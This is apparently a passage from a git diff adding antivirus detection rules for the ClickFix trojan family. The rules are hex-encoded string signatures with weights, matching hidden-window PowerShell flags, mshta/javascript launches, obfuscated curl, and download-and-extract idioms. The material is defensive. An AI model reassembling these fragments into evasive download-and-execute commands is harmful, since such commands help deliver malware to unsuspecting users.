68 00 69 00 64 00 64 00 65 00 6e 00 20 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 } //1 -WindowStyle hidden -Command + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=121 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBM_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBM_MTB.yar new file mode 100644 index 0000000000..899676142b --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBM_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_DBM_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DBM!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffc9 00 ffffffc9 00 03 00 00 " + + strings : + $a_02_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-07] 2d 00 77 00 20 00 68 00 } //100 + $a_00_1 = {29 00 20 00 7c 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 ) | powershell + $a_00_2 = {68 00 74 00 74 00 70 00 } //1 http + condition: + ((#a_02_0 & 1)*100+(#a_00_1 & 1)*100+(#a_00_2 & 1)*1) >=201 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBN_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBN_MTB.yar new file mode 100644 index 0000000000..c7239345fe --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBN_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_DBN_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DBN!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff83 00 ffffff83 00 05 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //100 mshta + $a_00_1 = {53 00 48 00 45 00 4c 00 4c 00 45 00 58 00 45 00 43 00 55 00 54 00 45 00 } //10 SHELLEXECUTE + $a_00_2 = {44 00 65 00 6c 00 65 00 74 00 65 00 46 00 69 00 6c 00 65 00 } //10 DeleteFile + $a_00_3 = {6a 00 61 00 76 00 61 00 73 00 63 00 72 00 69 00 70 00 74 00 3a 00 76 00 61 00 72 00 } //10 javascript:var + $a_00_4 = {68 00 74 00 74 00 70 00 } //1 http + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*1) >=131 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBO_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBO_MTB.yar new file mode 100644 index 0000000000..a719f63064 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBO_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_DBO_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DBO!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {5b 00 53 00 63 00 52 00 69 00 50 00 74 00 42 00 6c 00 4f 00 63 00 4b 00 5d 00 3a 00 3a 00 43 00 72 00 45 00 61 00 54 00 65 00 28 00 } //10 [ScRiPtBlOcK]::CrEaTe( + $a_00_2 = {5b 00 61 00 72 00 72 00 61 00 79 00 5d 00 3a 00 3a 00 52 00 65 00 76 00 65 00 72 00 73 00 65 00 28 00 24 00 } //10 [array]::Reverse($ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10) >=120 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBQ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBQ_MTB.yar new file mode 100644 index 0000000000..4cbd44ed21 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBQ_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DBQ_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DBQ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 } //10 -UseBasicParsing + $a_00_2 = {2d 00 6a 00 6f 00 69 00 6e 00 } //10 -join + $a_00_3 = {2e 00 4c 00 65 00 6e 00 67 00 74 00 68 00 5d 00 } //10 .Length] + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10) >=130 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBT_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBT_MTB.yar new file mode 100644 index 0000000000..a2c7efdb4f --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBT_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DBT_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DBT!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {29 00 7c 00 25 00 7b 00 24 00 } //10 )|%{$ + $a_00_2 = {2b 00 3d 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 24 00 5f 00 2b 00 } //10 +=[char]($_+ + $a_00_3 = {29 00 7d 00 3b 00 2e 00 28 00 } //10 )};.( + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10) >=130 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBU_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBU_MTB.yar new file mode 100644 index 0000000000..a7d025a85c --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBU_MTB.yar @@ -0,0 +1,19 @@ + +rule Trojan_Win32_ClickFix_DBU_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DBU!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 09 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {5b 00 53 00 63 00 52 00 69 00 50 00 74 00 42 00 6c 00 4f 00 63 00 4b 00 5d 00 3a 00 3a 00 43 00 72 00 45 00 61 00 54 00 65 00 28 00 } //10 [ScRiPtBlOcK]::CrEaTe( + $a_00_2 = {2d 00 57 00 20 00 68 00 20 00 2d 00 43 00 } //1 -W h -C + $a_00_3 = {2d 00 57 00 20 00 48 00 69 00 44 00 64 00 45 00 6e 00 20 00 2d 00 43 00 } //1 -W HiDdEn -C + $a_00_4 = {2d 00 57 00 69 00 6e 00 64 00 6f 00 77 00 53 00 74 00 79 00 6c 00 65 00 20 00 68 00 69 00 64 00 64 00 65 00 6e 00 20 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 } //1 -WindowStyle hidden -Command + $a_00_5 = {2d 00 77 00 20 00 6d 00 69 00 6e 00 69 00 6d 00 69 00 7a 00 65 00 64 00 20 00 2d 00 63 00 } //1 -w minimized -c + $a_00_6 = {2d 00 77 00 20 00 31 00 20 00 2d 00 63 00 } //1 -w 1 -c + $a_00_7 = {67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 } //-1000 github.com + $a_00_8 = {72 00 61 00 77 00 2e 00 67 00 69 00 74 00 68 00 75 00 62 00 75 00 73 00 65 00 72 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 } //-1000 raw.githubusercontent.com + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*-1000+(#a_00_8 & 1)*-1000) >=111 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBV_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBV_MTB.yar new file mode 100644 index 0000000000..b4b8ee4b27 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBV_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_DBV_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DBV!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 06 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {2d 00 57 00 20 00 68 00 20 00 2d 00 43 00 } //1 -W h -C + $a_00_2 = {2d 00 57 00 20 00 48 00 69 00 44 00 64 00 45 00 6e 00 20 00 2d 00 43 00 } //1 -W HiDdEn -C + $a_00_3 = {2d 00 57 00 69 00 6e 00 64 00 6f 00 77 00 53 00 74 00 79 00 6c 00 65 00 20 00 68 00 69 00 64 00 64 00 65 00 6e 00 20 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 } //1 -WindowStyle hidden -Command + $a_00_4 = {2d 00 77 00 20 00 6d 00 69 00 6e 00 69 00 6d 00 69 00 7a 00 65 00 64 00 20 00 2d 00 63 00 } //1 -w minimized -c + $a_00_5 = {2d 00 77 00 20 00 31 00 20 00 2d 00 63 00 } //1 -w 1 -c + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=101 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBY_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBY_MTB.yar new file mode 100644 index 0000000000..ddff3e99fa --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBY_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_DBY_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DBY!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {5b 00 73 00 74 00 72 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 6a 00 6f 00 69 00 6e 00 28 00 } //10 [string]::join( + $a_00_2 = {2d 00 77 00 20 00 68 00 20 00 2d 00 4e 00 6f 00 50 00 20 00 2d 00 63 00 } //1 -w h -NoP -c + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*1) >=111 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBZ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBZ_MTB.yar new file mode 100644 index 0000000000..184ce37d18 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DBZ_MTB.yar @@ -0,0 +1,30 @@ + +rule Trojan_Win32_ClickFix_DBZ_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DBZ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 14 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {2d 00 57 00 20 00 68 00 20 00 2d 00 43 00 } //1 -W h -C + $a_00_2 = {2d 00 57 00 20 00 48 00 69 00 44 00 64 00 45 00 6e 00 20 00 2d 00 43 00 20 00 } //1 -W HiDdEn -C + $a_00_3 = {2f 00 77 00 20 00 68 00 20 00 2d 00 43 00 } //1 /w h -C + $a_00_4 = {2d 00 77 00 20 00 6d 00 69 00 6e 00 69 00 6d 00 69 00 7a 00 65 00 64 00 20 00 2d 00 63 00 } //1 -w minimized -c + $a_00_5 = {2d 00 77 00 20 00 31 00 20 00 2d 00 63 00 } //1 -w 1 -c + $a_00_6 = {e2 00 80 00 95 00 57 00 20 00 68 00 20 00 2d 00 63 00 } //1 + $a_00_7 = {2d 00 57 00 20 00 68 00 20 00 e2 00 80 00 94 00 43 00 } //1 + $a_00_8 = {2d 00 77 00 20 00 68 00 20 00 2d 00 4e 00 6f 00 50 00 20 00 2d 00 63 00 } //1 -w h -NoP -c + $a_00_9 = {e2 00 80 00 95 00 77 00 20 00 68 00 20 00 2f 00 63 00 } //1 + $a_00_10 = {e2 00 80 00 95 00 77 00 20 00 68 00 20 00 e2 00 80 00 94 00 43 00 } //1 + $a_00_11 = {2f 00 77 00 20 00 68 00 20 00 2f 00 43 00 } //1 /w h /C + $a_00_12 = {2d 00 77 00 20 00 68 00 20 00 2d 00 63 00 6f 00 6d 00 } //1 -w h -com + $a_00_13 = {2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 6c 00 65 00 20 00 68 00 20 00 2d 00 63 00 } //1 -windowstyle h -c + $a_00_14 = {2d 00 77 00 69 00 20 00 31 00 20 00 2d 00 63 00 6f 00 6d 00 } //1 -wi 1 -com + $a_00_15 = {2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 20 00 68 00 20 00 2d 00 63 00 6f 00 } //1 -window h -co + $a_00_16 = {2d 00 77 00 69 00 20 00 68 00 20 00 2d 00 63 00 6f 00 } //1 -wi h -co + $a_00_17 = {2d 00 77 00 20 00 68 00 20 00 2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 } //1 -w h -command + $a_00_18 = {67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 } //-1000 github.com + $a_00_19 = {72 00 61 00 77 00 2e 00 67 00 69 00 74 00 68 00 75 00 62 00 75 00 73 00 65 00 72 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 } //-1000 raw.githubusercontent.com + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*-1000+(#a_00_19 & 1)*-1000) >=101 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DB_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DB_MTB.yar index 2506f5bbd8..eeb5fcde15 100644 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DB_MTB.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DB_MTB.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_ClickFix_DB_MTB{ meta: - description = "Trojan:Win32/ClickFix.DB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + description = "Trojan:Win32/ClickFix.DB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 07 00 00 " strings : $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //1 mshta @@ -9,7 +9,9 @@ rule Trojan_Win32_ClickFix_DB_MTB{ $a_00_2 = {2e 00 68 00 74 00 6d 00 6c 00 20 00 23 00 } //1 .html # $a_00_3 = {76 00 65 00 72 00 69 00 66 00 } //1 verif $a_00_4 = {2d 00 20 00 72 00 61 00 79 00 } //1 - ray + $a_00_5 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-1000 msedgewebview2.exe + $a_00_6 = {69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo condition: - ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*-1000+(#a_00_6 & 1)*-1000) >=5 } \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCA_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCA_MTB.yar new file mode 100644 index 0000000000..0f8092cbbe --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DCA_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DCA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {2e 00 72 00 65 00 50 00 6c 00 41 00 63 00 65 00 28 00 } //10 .rePlAce( + $a_00_2 = {2e 00 74 00 6f 00 73 00 54 00 72 00 49 00 4e 00 67 00 28 00 29 00 } //10 .tosTrINg() + $a_00_3 = {2d 00 4a 00 6f 00 69 00 4e 00 } //1 -JoiN + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1) >=121 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCB_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCB_MTB.yar new file mode 100644 index 0000000000..2c417d296f --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCB_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_DCB_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DCB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffa3 00 ffffffa3 00 06 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {77 00 73 00 63 00 72 00 69 00 70 00 74 00 20 00 24 00 } //50 wscript $ + $a_00_2 = {41 00 63 00 74 00 69 00 76 00 65 00 58 00 4f 00 62 00 6a 00 65 00 63 00 74 00 28 00 } //10 ActiveXObject( + $a_00_3 = {2e 00 73 00 70 00 6c 00 69 00 74 00 28 00 } //1 .split( + $a_00_4 = {72 00 65 00 76 00 65 00 72 00 73 00 65 00 } //1 reverse + $a_00_5 = {2e 00 6a 00 6f 00 69 00 6e 00 28 00 } //1 .join( + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*50+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=163 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCC_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCC_MTB.yar new file mode 100644 index 0000000000..c8ea1a79af --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_DCC_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DCC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 02 00 00 " + + strings : + $a_00_0 = {63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 20 00 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 } //100 conhost --headless + $a_00_1 = {77 00 6d 00 69 00 63 00 20 00 70 00 72 00 6f 00 64 00 75 00 63 00 74 00 20 00 63 00 61 00 6c 00 6c 00 20 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 20 00 30 00 } //10 wmic product call install 0 + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10) >=110 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCD_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCD_MTB.yar new file mode 100644 index 0000000000..dbfa6c201d --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCD_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_DCD_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DCD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff83 00 ffffff83 00 06 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {24 00 65 00 6e 00 76 00 3a 00 74 00 6d 00 70 00 } //10 $env:tmp + $a_00_2 = {45 00 78 00 70 00 61 00 6e 00 64 00 2d 00 41 00 72 00 63 00 68 00 69 00 76 00 65 00 } //10 Expand-Archive + $a_00_3 = {2d 00 46 00 6f 00 72 00 63 00 65 00 } //10 -Force + $a_00_4 = {69 00 72 00 6d 00 20 00 2d 00 55 00 72 00 69 00 } //1 irm -Uri + $a_00_5 = {69 00 77 00 72 00 20 00 2d 00 55 00 72 00 69 00 } //1 iwr -Uri + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=131 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCH_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCH_MTB.yar new file mode 100644 index 0000000000..d85b38b301 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCH_MTB.yar @@ -0,0 +1,19 @@ + +rule Trojan_Win32_ClickFix_DCH_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DCH!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 09 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {2d 00 4f 00 75 00 74 00 46 00 69 00 6c 00 65 00 } //10 -OutFile + $a_00_2 = {2d 00 57 00 20 00 68 00 20 00 2d 00 43 00 } //1 -W h -C + $a_00_3 = {2d 00 57 00 20 00 48 00 69 00 44 00 64 00 45 00 6e 00 20 00 2d 00 43 00 } //1 -W HiDdEn -C + $a_00_4 = {2d 00 57 00 69 00 6e 00 64 00 6f 00 77 00 53 00 74 00 79 00 6c 00 65 00 20 00 68 00 69 00 64 00 64 00 65 00 6e 00 20 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 } //1 -WindowStyle hidden -Command + $a_00_5 = {2d 00 77 00 20 00 6d 00 69 00 6e 00 69 00 6d 00 69 00 7a 00 65 00 64 00 20 00 2d 00 63 00 } //1 -w minimized -c + $a_00_6 = {2d 00 77 00 20 00 31 00 20 00 2d 00 63 00 } //1 -w 1 -c + $a_00_7 = {e2 00 80 00 95 00 57 00 20 00 68 00 20 00 2d 00 63 00 } //1 + $a_00_8 = {2d 00 77 00 20 00 68 00 20 00 2d 00 4e 00 6f 00 50 00 20 00 2d 00 63 00 } //1 -w h -NoP -c + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1) >=111 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCI_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCI_MTB.yar new file mode 100644 index 0000000000..de172b4315 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCI_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_DCI_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DCI!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 03 00 00 " + + strings : + $a_00_0 = {63 00 5e 00 75 00 72 00 5e 00 6c 00 2e 00 65 00 78 00 5e 00 65 00 } //100 c^ur^l.ex^e + $a_00_1 = {2d 00 6b 00 20 00 2d 00 53 00 73 00 20 00 2d 00 58 00 } //10 -k -Ss -X + $a_00_2 = {26 00 26 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 2f 00 6d 00 69 00 6e 00 } //1 && start /min + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*1) >=111 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCJ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCJ_MTB.yar new file mode 100644 index 0000000000..3b94801e22 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCJ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_DCJ_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DCJ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 02 00 00 " + + strings : + $a_00_0 = {2d 00 6b 00 20 00 2d 00 53 00 73 00 20 00 2d 00 58 00 } //100 -k -Ss -X + $a_00_1 = {26 00 26 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 2f 00 6d 00 69 00 6e 00 } //10 && start /min + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10) >=110 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCM_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCM_MTB.yar new file mode 100644 index 0000000000..853a7145ff --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCM_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_DCM_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DCM!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 03 00 00 " + + strings : + $a_00_0 = {63 00 6d 00 64 00 20 00 2f 00 6d 00 69 00 6e 00 20 00 2f 00 63 00 } //100 cmd /min /c + $a_00_1 = {2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 } //1 -UseBasicParsing + $a_00_2 = {2d 00 75 00 73 00 65 00 62 00 } //1 -useb + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=101 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCN_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCN_MTB.yar new file mode 100644 index 0000000000..cecd3bb663 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCN_MTB.yar @@ -0,0 +1,33 @@ + +rule Trojan_Win32_ClickFix_DCN_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DCN!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 17 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {2d 00 22 00 77 00 22 00 20 00 68 00 20 00 2d 00 43 00 } //1 -"w" h -C + $a_00_2 = {e2 00 80 00 94 00 77 00 20 00 68 00 20 00 2d 00 22 00 43 00 } //1 + $a_00_3 = {2f 00 77 00 20 00 68 00 20 00 2f 00 22 00 43 00 } //1 /w h /"C + $a_00_4 = {2d 00 57 00 20 00 68 00 20 00 2d 00 43 00 } //1 -W h -C + $a_00_5 = {2d 00 57 00 20 00 48 00 69 00 44 00 64 00 45 00 6e 00 20 00 2d 00 43 00 20 00 } //1 -W HiDdEn -C + $a_00_6 = {2d 00 77 00 20 00 6d 00 69 00 6e 00 69 00 6d 00 69 00 7a 00 65 00 64 00 20 00 2d 00 63 00 } //1 -w minimized -c + $a_00_7 = {2d 00 77 00 20 00 31 00 20 00 2d 00 63 00 } //1 -w 1 -c + 